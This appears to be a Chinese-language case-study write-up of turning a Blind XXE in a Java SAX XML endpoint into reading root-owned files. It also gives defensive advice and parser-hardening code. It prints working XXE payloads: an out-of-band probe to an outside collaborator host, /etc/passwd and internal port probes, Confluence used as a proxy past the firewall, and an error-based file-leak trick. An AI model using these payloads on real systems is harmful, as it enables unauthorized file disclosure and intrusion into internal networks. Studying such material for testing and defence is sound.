从Blind XXE漏洞到读取Root文件的系统提权
字数 1525 2025-08-18 11:37:53
Blind XXE漏洞到系统提权:深入分析与利用技术
1. 漏洞背景与发现
XXE (XML External Entity)漏洞是一种基于XML解析的安全漏洞,攻击者能够通过构造恶意的XML文档来读取服务器上的任意文件、执行远程请求或发起服务端请求伪造(SSRF)攻击。
在本案例中,作者发现了一个特殊的Blind XXE漏洞(盲注XXE),最终实现了从读取普通文件到获取root级别文件的系统提权。
2. 初始发现与探测
2.1 初始响应分析
- 服务端响应XML格式消息和404状态
- 当改为POST请求并添加
Content-Type: application/xml头时,响应发生变化 - 添加正常结构的XML文档后,服务端要求提供凭据
2.2 初步XXE测试
使用Collaborator模块进行带外测试:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://burpcollaborator.net">
%xxe;
]>
发现服务端可以解析域名但未发起HTTP请求,防火墙阻断了所有非正常出站流量。
3. Blind XXE漏洞确认
3.1 文件存在性探测
通过尝试访问本地文件来确认漏洞:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
%xxe;
]>
文件存在时的响应:
org.xml.sax.SAXParseExceptionpublicId...
文件不存在时的响应:
File not found
3.2 解析器类型识别
从错误消息org.xml.sax.SAXParseException可以判断服务端使用的是Java SAX解析器。
4. 漏洞利用技术
4.1 内部服务探测
利用Blind XXE进行内部端口扫描:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://127.0.0.1:8080">
%xxe;
]>
4.2 协议测试
测试不同协议的支持情况:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "https://example.com">
<!ENTITY % xxe SYSTEM "gopher://example.com">
<!ENTITY % xxe SYSTEM "ftp://example.com">
]>
服务端能识别协议类型并返回特定错误。
4.3 内部服务枚举
通过公司公开文档发现的内部服务:
- wiki.company.internal
- jira.company.internal
- confluence.company.internal
5. 突破防火墙限制
5.1 利用Confluence作为代理
发现confluence.company.internal:8090可以绕过防火墙限制:
<!DOCTYPE test [
<!ENTITY % xxe SYSTEM "http://confluence.company.internal:8090">
%xxe;
]>
在Burp Collaborator中观察到HTTP请求。
5.2 构造恶意XML文件
创建evil.xml文件托管在攻击服务器:
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
通过Confluence实例触发目录访问,获取服务端目录列表。
6. 文件内容读取技巧
6.1 解决冒号问题
读取/etc/passwd时遇到冒号解析问题,解决方案:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
在文件内容前添加冒号,利用"no protocol"错误显示文件内容。
6.2 读取root目录文件
最终成功读取/root目录下的文件。
7. 技术要点总结
7.1 红队经验
- 发现异常后应持续深入挖掘
- Java SAX解析器对URL模式的处理方式特殊
- 现代Java版本限制多行文件通过HTTP外泄,但可通过错误响应获取信息
7.2 蓝队防御建议
- 及时修补内部服务漏洞
- 内部网络不应简单视为安全区域,需划分信任级别
- 错误消息应记录到日志而非HTTP响应
- 身份验证不能有效缓解XXE漏洞
8. 漏洞利用流程总结
- 发现XML服务端点
- 确认Blind XXE漏洞存在
- 识别内部服务(Confluence)
- 利用内部服务作为代理绕过防火墙
- 构造恶意XML读取文件
- 解决特殊字符(冒号)问题
- 最终获取root权限文件
9. 防御措施
-
禁用XML外部实体处理:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
实施严格的网络隔离策略
-
监控和过滤异常XML请求
-
定期审计内部服务安全性
-
实施最小权限原则
10. 扩展思考
- 其他可能利用的Java XML解析器特性
- 结合其他漏洞(如SSRF)进行链式攻击
- 在云环境中的XXE攻击变种
- 针对不同文件编码的读取技巧
通过本案例可以看出,即使是中危的Blind XXE漏洞,在特定环境下也可能导致系统级的安全问题。防御方需要从代码安全、网络架构和监控响应等多层面构建防御体系。